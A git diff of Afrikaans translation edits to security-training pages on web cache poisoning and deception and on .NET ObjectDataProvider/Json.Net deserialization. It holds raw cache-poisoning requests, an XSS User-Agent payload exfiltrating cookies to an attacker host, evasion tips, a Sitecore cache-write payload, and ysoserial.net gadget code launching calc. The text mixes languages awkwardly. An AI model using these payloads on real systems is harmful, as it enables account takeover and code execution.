-### Generering van afwykings met skeidingstekens, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Generering van verskille met afbakeners, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
 Kyk:
 
@@ -106,29 +105,29 @@ Kyk:
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Cache poisoning met path traversal om API key te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
 [**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
 
-Dit word ook beter verduidelik in:
+Hier word dit ook beter verduidelik in:
 
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}
 
-### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### Gebruik van meerdere headers om web cache poisoning vulnerabilities uit te buit <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
 
-Soms sal jy nodig hê om **exploit several unkeyed inputs** sodat jy 'n cache kan misbruik. Byvoorbeeld, jy kan 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domain wat jy beheer stel en `X-Forwarded-Scheme` op `http`. As die **server** alle **HTTP** versoeke **to HTTPS** **forwarding** en die header `X-Forwarded-Scheme` as die domeinnaam vir die redirect gebruik word, kan jy beheer waarheen die bladsy deur die redirect gewys word.
+Soms sal jy die **exploit several unkeyed inputs** nodig hê om 'n cache te misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domein stel wat deur jou beheer word en `X-Forwarded-Scheme` op `http` stel. **If** die **server** is **forwarding** alle **HTTP** versoeke **to HTTPS** en die header `X-Forwarded-Scheme` gebruik as die domain name vir die redirect, kan jy beheer waarheen die bladsy deur die redirect wys.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### Exploiting met beperkte `Vary`header
+### Exploiting with limited `Vary`header
 
-As jy ontdek dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS resource te laai** maar die **`Vary`** header in die response aandui **`User-Agent`**, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:
+Indien jy agterkom dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS resource te laai**, maar die **`Vary`** header in die response aandui **`User-Agent`**, moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltrate en die cache te poison met daardie user agent:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@@ -137,7 +136,7 @@ X-Host: attacker.com
 ```
 ### Fat Get
 
-Stuur 'n GET-versoek met die versoek in die URL en in die body. As die web server dié uit die body gebruik, maar die cache server kas die een uit die URL, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle by die Github-werf gevind het:
+Stuur 'n GET-versoek met die versoek beide in die URL en in die body. As die web server die een uit die body gebruik, maar die cache server die een uit die URL kas, sal enigiemand wat daardie URL besoek eintlik die parameter uit die body gebruik. Soos die vuln wat James Kettle op die Github-website gevind het:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@@ -146,11 +145,11 @@ Content-Length: 22
 
 report=innocent-victim
 ```
-Daar is 'n PortSwigger-lab oor dit: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There is 'n Portswigger lab hieroor: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
 
 ### Parameter Cloacking
 
-Byvoorbeeld is dit moontlik om **parameters** in ruby-servers te skei deur die karakter **`;`** in plaas van **`&`** te gebruik. Dit kan gebruik word om unkeyed parameter values binne keyed ones te plaas en misbruik daarvan te maak.
+Byvoorbeeld is dit moontlik om **parameters** op ruby-bedieners te skei met die karakter **`;`** in plaas van **`&`**. Dit kan gebruik word om parameterwaardes sonder sleutel binne parameterwaardes met sleutel in te sluit en dit misbruik.
 
 Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
 
@@ -166,39 +165,39 @@ Example usage: `wcvs -u example.com`
 
 ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
 
-Hierdie werklike-wêreld patroon koppel 'n header-gebaseerde reflection primitive aan CDN/WAF-gedrag om die cached HTML wat aan ander gebruikers bedien word betroubaar te poison:
+Hierdie werklike-wereld patroon koppel 'n header-gebaseerde reflection-primitive aan CDN/WAF-gedrag om die gecachte HTML wat aan ander gebruikers bedien word betroubaar te poison:
 
-- Die hoof-HTML reflekteer 'n onbetroubare request header (e.g., `User-Agent`) in 'n executable context.
-- Die CDN het cache headers verwyder maar daar was 'n internal/origin cache. Die CDN het ook versoeke wat eindig in statiese extensies (e.g., `.js`) outomaties gecache, terwyl die WAF 'n swakere inhoudsinspeksie op GETs vir statiese assets toegepas het.
-- Kinkels in die request-flow het toegelaat dat 'n versoek na 'n `.js`-pad die cache key/variant beïnvloed wat gebruik is vir die daaropvolgende hoof-HTML, wat cross-user XSS via header reflection moontlik maak.
+- Die hoof-HTML weerspieël 'n onbetroubare versoek-header (e.g., `User-Agent`) in 'n uitvoerbare konteks.
+- Die CDN het cache headers gestripe maar 'n interne/origin cache het bestaan. Die CDN het ook versoeke wat op statiese extensies eindig (e.g., `.js`) outomaties gecache, terwyl die WAF 'n swakker inhoudsinspeksie op GETs vir statiese bates toegepas het.
+- Vreemde versoekstroom-dinamika het toegelaat dat 'n versoek na 'n `.js` path die cache key/variant vir die daaropvolgende hoof-HTML beïnvloed, wat cross-user XSS via header reflection moontlik maak.
 
-Praktiese resep (waargeneem by 'n gewilde CDN/WAF):
+Praktiese resep (waargeneem oor 'n gewilde CDN/WAF):
 
-1) Vanaf 'n skoon IP (vermy vorige reputasie-gebaseerde afgrade), stel 'n kwaadwillige `User-Agent` via jou browser of Burp Proxy Match & Replace.
-2) In Burp Repeater, berei 'n groep van twee requests voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
-- Eerste versoek: GET 'n `.js` resource pad op dieselfde origin terwyl jy jou kwaadwillige `User-Agent` stuur.
-- Meteens daarna: GET die hoofblad (`/`).
-3) Die CDN/WAF routing race plus die outomaties gecachte `.js` saai dikwels 'n poisoned cached HTML-variant wat dan bedien word aan ander besoekers wat dieselfde cache key-voorwaardes deel (e.g., dieselfde `Vary` dimensies soos `User-Agent`).
+1) Vanaf 'n skoon IP (vermy vooraf bestaande reputasie-gebaseerde afgraderings), stel 'n kwaadwillige `User-Agent` via die blaaier of Burp Proxy Match & Replace.
+2) In Burp Repeater, berei 'n groep van twee versoeke voor en gebruik "Send group in parallel" (single-packet mode werk die beste):
+- Eerste versoek: GET 'n `.js` resource path op dieselfde origin terwyl jy jou kwaadwillige `User-Agent` stuur.
+- Onmiddellik daarna: GET die hoofblad (`/`).
+3) Die CDN/WAF routeringswedloop plus die outomaties gecachede `.js` saai dikwels 'n poisoned cached HTML-variant wat dan aan ander besoekers bedien word wat dieselfde cache key-toestande deel (e.g., dieselfde `Vary` dimensies soos `User-Agent`).
 
-Voorbeeld header-payload (om non-HttpOnly cookies te eksfiltreer):
+Example header payload (to exfiltrate non-HttpOnly cookies):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
 Operasionele wenke:
 
 - Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
-- Using an IP from the CDN's own cloud sometimes improves routing consistency.
-- If a strict CSP is present, this still works if the reflection executes in main HTML context and CSP allows inline execution or is bypassed by context.
+- Die gebruik van 'n IP vanaf die CDN se eie cloud verbeter soms routeringskonsistensie.
+- As 'n streng CSP teenwoordig is, werk dit steeds as die refleksie in die hoof HTML-konteks uitgevoer word en CSP inline-uitvoering toelaat of deur konteks omseil word.
 
 Impak:
 
-- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
+- As sessie-cookies nie `HttpOnly` is nie, is zero-click ATO moontlik deur massale eksfiltrasie van `document.cookie` van alle gebruikers wat die poisoned HTML ontvang.
 
 Verdedigings:
 
-- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
-- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
-- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
+- Hou op om request headers in HTML te reflekteer; kodeer dit streng volgens konteks as dit onvermydelik is. Stem CDN- en origin cache-beleid op mekaar af en vermy varying op onbetroubare headers.
+- Sorg dat die WAF inhoudsinspeksie konsekwent toepas op `.js` requests en statiese paths.
+- Stel `HttpOnly` (en `Secure`, `SameSite`) op sessie-cookies.
 
 ### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
 
@@ -209,9 +208,9 @@ Content-Type: application/x-www-form-urlencoded
 
 __PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
 ```
-This skryf ewekansige HTML onder 'n deur die attacker gekose cache key, wat presiese vergiftiging moontlik maak sodra cache keys bekend is.
+Dit skryf arbitrêre HTML onder 'n attacker‑chosen cache key, wat presiese poisoning moontlik maak sodra cache keys bekend is.
 
-Vir volledige besonderhede (cache key construction, ItemService enumeration en a chained post‑auth deserialization RCE):
+Vir volledige besonderhede (cache key construction, ItemService enumeration en 'n chained post‑auth deserialization RCE):
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/sitecore/README.md
@@ -221,45 +220,45 @@ Vir volledige besonderhede (cache key construction, ItemService enumeration en a
 
 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
 
-ATS het die fragment in die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gebou op die host, path en query (wat die fragment ignoreer). Dus is die versoek `/#/../?r=javascript:alert(1)` na die backend gestuur as `/#/../?r=javascript:alert(1)` en die cache key het nie die payload daarin gehad nie, slegs host, path en query.
+ATS het die fragment binne die URL deurgestuur sonder om dit te verwyder en het die cache key slegs gegenereer met behulp van host, path en query (die fragment ignoreer). Dus is die versoek `/#/../?r=javascript:alert(1)` na die backend gestuur as `/#/../?r=javascript:alert(1)` en die cache key het nie die payload daarin gehad nie, slegs host, path en query.
 
 ### GitHub CP-DoS
 
-Deur 'n slegte waarde in die content-type header te stuur, is 'n 405 gekashde reaksie veroorsaak. Die cache key het die cookie bevat, so dit was slegs moontlik om nie-geauthentiseerde gebruikers aan te val.
+Deur 'n slegte waarde in die content-type header te stuur is 'n 405 cached response geaktiveer. Die cache key het die cookie ingesluit, so dit was slegs moontlik om unauth users aan te val.
 
 ### GitLab + GCP CP-DoS
 
-GitLab gebruik GCP buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. Dus was dit moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te vergiftig sodat dit 'n leë response body teruggee. Dit kon ook die metode `PURGE` ondersteun.
+GitLab gebruik GCP buckets om static content te stoor. **GCP Buckets** ondersteun die **header `x-http-method-override`**. Dus was dit moontlik om die header `x-http-method-override: HEAD` te stuur en die cache te poison sodat dit 'n leë response body teruggee. Dit kon ook die method `PURGE` ondersteun.
 
 ### Rack Middleware (Ruby on Rails)
 
-In Ruby on Rails toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die versoek se scheme in te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, gebeur 'n 301-omleiding na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n attacker se bediener, wat 'n sekuriteitsrisiko inhou.
+In Ruby on Rails applications word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** header te neem en dit as die request se scheme te stel. Wanneer die header `x-forwarded-scheme: http` gestuur word, gebeur 'n 301 redirect na dieselfde ligging, wat moontlik 'n Denial of Service (DoS) vir daardie bron kan veroorsaak. Verder kan die toepassing die `X-forwarded-host` header erken en gebruikers na die gespesifiseerde host herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n attacker\'s server, wat 'n sekuriteitsrisiko inhou.
 
 ### 403 and Storage Buckets
 
-Cloudflare het voorheen 403-responsies gekash. Om S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer bereik, sou 'n 403-respons tot gevolg hê wat gekash is. Alhoewel Cloudflare opgehou het om 403-responses te cache, mag hierdie gedrag steeds in ander proxy-dienste voorkom.
+Cloudflare het voorheen 403 responses gecache. Om toegang tot S3 of Azure Storage Blobs met verkeerde Authorization headers te probeer het 'n 403 response gegee wat gecache is. Alhoewel Cloudflare opgehou het om 403 responses te cache, kan hierdie gedrag steeds in ander proxy-dienste voorkom.
 
 ### Injecting Keyed Parameters
 
-Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly's Varnish het die `size` parameter in versoeke gekoos. As 'n URL-encoded weergawe van die parameter (bv. `siz%65`) ook met 'n verkeerde waarde gestuur is, sou die cache key saamgestel word met die korrekte `size` parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede `size` parameter het gelei tot die weglating daarvan deur die cache maar tot die gebruik daarvan deur die backend. Om hieraan 'n waarde van 0 toe te ken het 'n cache-bare 400 Bad Request fout tot gevolg gehad.
+Caches sluit dikwels spesifieke GET-parameters in die cache key in. Byvoorbeeld, Fastly se Varnish cached die `size` parameter in versoeke. As 'n URL-encoded weergawe van die parameter (bv. `siz%65`) egter ook met 'n foutiewe waarde gestuur is, sou die cache key saamgestel word met die korrekte `size` parameter. Die backend sou egter die waarde in die URL-encoded parameter verwerk. URL-encoding van die tweede `size`-parameter het daartoe gelei dat dit deur die cache weggelaat is, maar deur die backend gebruik is. Om 'n waarde van 0 aan hierdie parameter toe te ken het gelei tot 'n cacheable 400 Bad Request error.
 
 ### User Agent Rules
 
-Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-traffiek gereedskap soos FFUF of Nuclei om bedienerbelasting te bestuur. Ironies kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
+Sommige ontwikkelaars blokkeer versoeke met user-agents wat pas by hoë‑verkeer tools soos FFUF of Nuclei om serverbelasting te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
 
 ### Illegal Header Fields
 
-Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die toelaatbare karakters in headername. Headers wat karakters buite die gespesifiseerde **tchar**-reeks bevat, behoort ideaal 'n 400 Bad Request response te veroorsaak. In die praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400-fout cacheer, solank die `cache-control` header nie teenwoordig is nie. 'n Benutbare patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, gelei het tot 'n cache-bare 400 Bad Request fout.
+[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in header name. Headers wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request response te veroorsaak. In die praktyk hou servers nie altyd by hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat headers met ongeldige karakters deurstuur en enige 400 error cache, solank die `cache-control` header nie teenwoordig is nie. 'n Exploitable patroon is geïdentifiseer waar die stuur van 'n header met 'n onwettige karakter, soos `\`, tot 'n cacheable 400 Bad Request error lei.
 
 ### Finding new headers
 
-https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
+[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
 
 ## Cache Deception
 
-Die doel van Cache Deception is om kliënte te laat laai hulpbronne wat deur die cache gestoor gaan word en wat hulle sensitiewe inligting bevat.
+The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
 
-First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
+Eerstens, let daarop dat **extensions** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die response stoor omdat dit die `.js` **extension** herken. Maar as die toepassing die **sensitive** gebruikerinhoud wat in _www.example.com/profile.php_ gestoor is, teruggee, kan jy daardie inhoud van ander users **steal**.
 
 Other things to test:
 
@@ -274,15 +273,15 @@ Another very clear example can be found in this write-up: [https://hackerone.com
 In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
 Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
 
-Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
+Let daarop dat die cache proxy geconfigureer moet wees om lêers te cache gebaseer op die extension van die lêer (_.css_) en nie op die content-type nie. In die voorbeeld sal _http://www.example.com/home.php/non-existent.css_ 'n `text/html` content-type hê in plaas van `text/css` mime type.
 
 Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
 
 ## Outomatiese Gereedskap
 
-- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner om web cache poisoning kwetsbaarhede in 'n lys URL's te vind en verskeie injection techniques te toets.
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skandeerder om web cache poisoning kwetsbaarhede in 'n lys van URLs te vind en verskeie injection techniques te toets.
 
-## Verwysings
+## References
 
 - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
 - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
index c8313c2ef..ac91ae877 100644
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@@ -2,23 +2,23 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.
+Hierdie pos is gewy aan die begrip van hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry, en hoe die serialiseringsbiblioteke Json.Net en xmlSerializer daarmee misbruik kan word.
 
 ## ObjectDataProvider Gadget
 
-From the documentation: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
-Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat het hierdie klas wat so interessant is: Hierdie klas laat toe om **'n arbitrêre object te wrap**, gebruik _**MethodParameters**_ om **arbitrêre parameters te stel**, en dan **MethodName te gebruik om 'n arbitrêre funksie aan te roep** van die arbitrêre object wat gedefinieer is met die arbitrêre parameters.\
-Daarom sal die arbitrêre **object** 'n **funksie** met **parameters** uitvoer terwyl dit gedeserialiseer word.
+Volgens die dokumentasie: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat hierdie klas het wat so interessant is: Hierdie klas laat toe om 'n arbitrêre objek te omskep, gebruik _**MethodParameters**_ om **arbitrêre parameters te stel**, en dan **MethodName te gebruik om 'n arbitrêre funksie aan te roep** van die arbitrêre objek wat met daardie parameters gedefinieer is.\
+Daarom sal die arbitrêre **objek** 'n **funksie** met **parameters** uitvoer terwyl dit gedeserialiseer word.
 
 ### **Hoe is dit moontlik**
 
 Die **System.Windows.Data** namespace, gevind binne die **PresentationFramework.dll** by `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, is waar die ObjectDataProvider gedefinieer en geïmplementeer is.
 
-Deur [**dnSpy**](https://github.com/0xd4d/dnSpy) te gebruik kan jy die **kode inspekteer** van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
+Met behulp van [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy **die kode inspekteer** van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
 
 ![](<../../images/image (427).png>)
 
-Soos jy kan opmerk, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
+Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep; kom ons kyk wat dit doen:
 
 ![](<../../images/image (319).png>)
 
@@ -26,13 +26,13 @@ Ok, kom ons gaan voort en kyk wat `this.BeginQuery()` doen. `BeginQuery` word de
 
 ![](<../../images/image (345).png>)
 
-Let wel dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
+Let daarop dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. Kom ons kyk wat dit uitvoer:
 
 ![](<../../images/image (596).png>)
 
-Let wel dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit wys die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan;** dit is die lyn waar die **gestelde metode aangeroep word**.
+Let daarop dat dit nie die volledige kode van die funksie `QueryWorker` is nie, maar dit wys die interessante deel daarvan: Die kode **roep `this.InvokeMethodOnInstance(out ex);` aan;** dit is die reël waar die **gestelde metode uitgevoer** word.
 
-As jy wil kontroleer dat slegs deur die _**MethodName**_ te stel dit uitgevoer sal word, kan jy hierdie kode uitvoer:
+As jy wil toets dat net deur die _**MethodName**_ te stel dit uitgevoer sal word, kan jy hierdie kode hardloop:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -52,16 +52,16 @@ myODP.MethodName = "Start";
 }
 }
 ```
-Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai
+Let daarop dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ moet byvoeg om `System.Windows.Data` te laai
 
 ## ExpandedWrapper
 
-Deur die vorige exploit sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie gedeserialiseer word (byvoorbeeld in die DotNetNuke vuln, met XmlSerializer is die object gedeserialiseer deur `GetType`). In so 'n geval sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (bv. `Process`). Jy kan meer [inligting oor die DotNetNuke vuln hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+Met die vorige exploit sal daar gevalle wees waar die **objek** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer** sal word (byvoorbeeld in die DotNetNuke vuln, met `XmlSerializer` is die objek gedeserialiseer deur gebruik te maak van `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** nie (bv. `Process`). Jy kan meer [inligting oor die DotNetNuke vuln hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Hierdie klas maak dit moontlik om die **objektipe van die objekte wat in 'n gegewe instansie ingekapsuleer is, te spesifiseer**. Dus kan hierdie klas gebruik word om 'n bronobject (_ObjectDataProvider_) te kapsuleer in 'n nuwe objektipe en die eienskappe wat ons nodig het te verskaf (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
-This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
+Hierdie klas laat toe om die **objektipe van die voorwerpe wat ingesluit is** in 'n gegewe instansie te spesifiseer. Dus kan hierdie klas gebruik word om 'n brongobjek (_ObjectDataProvider_) in 'n nuwe objektipe te inkapsuleer en die eienskappe wat ons nodig het te verskaf (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
+Dit is baie nuttig vir gevalle soos die een hierbo beskryf, omdat ons in staat sal wees om **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
 
-Jy kan hierdie wrapper met die volgende kode bekyk:
+Jy kan hierdie wrapper nagaan met die volgende kode:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -85,9 +85,9 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-In the [official web page](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dus, as ons die **deserialize the ObjectDataProvider gadget** kon uitvoer, kon ons net deur 'n object te deserialiseer 'n **RCE** veroorsaak.
+In die [offisiële webblad](https://www.newtonsoft.com/json) word aangedui dat hierdie biblioteek toelaat om **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dus, as ons die **deserialize the ObjectDataProvider gadget** sou kon doen, sou ons 'n **RCE** veroorsaak deur net 'n object te deserialize.
 
-### Json.Net voorbeeld
+### Json.Net example
 
 Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n object met hierdie biblioteek te **serialize/deserialize**:
 ```java
@@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email);
 ```
 ### Misbruik van Json.Net
 
-Met behulp van [ysoserial.net](https://github.com/pwntester/ysoserial.net) het ek die exploit geskep:
+Deur [ysoserial.net](https://github.com/pwntester/ysoserial.net) te gebruik het ek die exploit geskep:
 ```java
 yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
@@ -147,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-In hierdie kode kan jy **toets the exploit**, voer dit net uit en jy sal sien dat 'n calc uitgevoer word:
+In hierdie kode kan jy **test the exploit**, voer dit net uit en jy sal sien dat calc uitgevoer word:
 ```java
 using System;
 using System.Text;
@@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
 }
 }
 ```
-## Gevorderde .NET gadgetkettings (YSoNet & ysoserial.net)
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
 
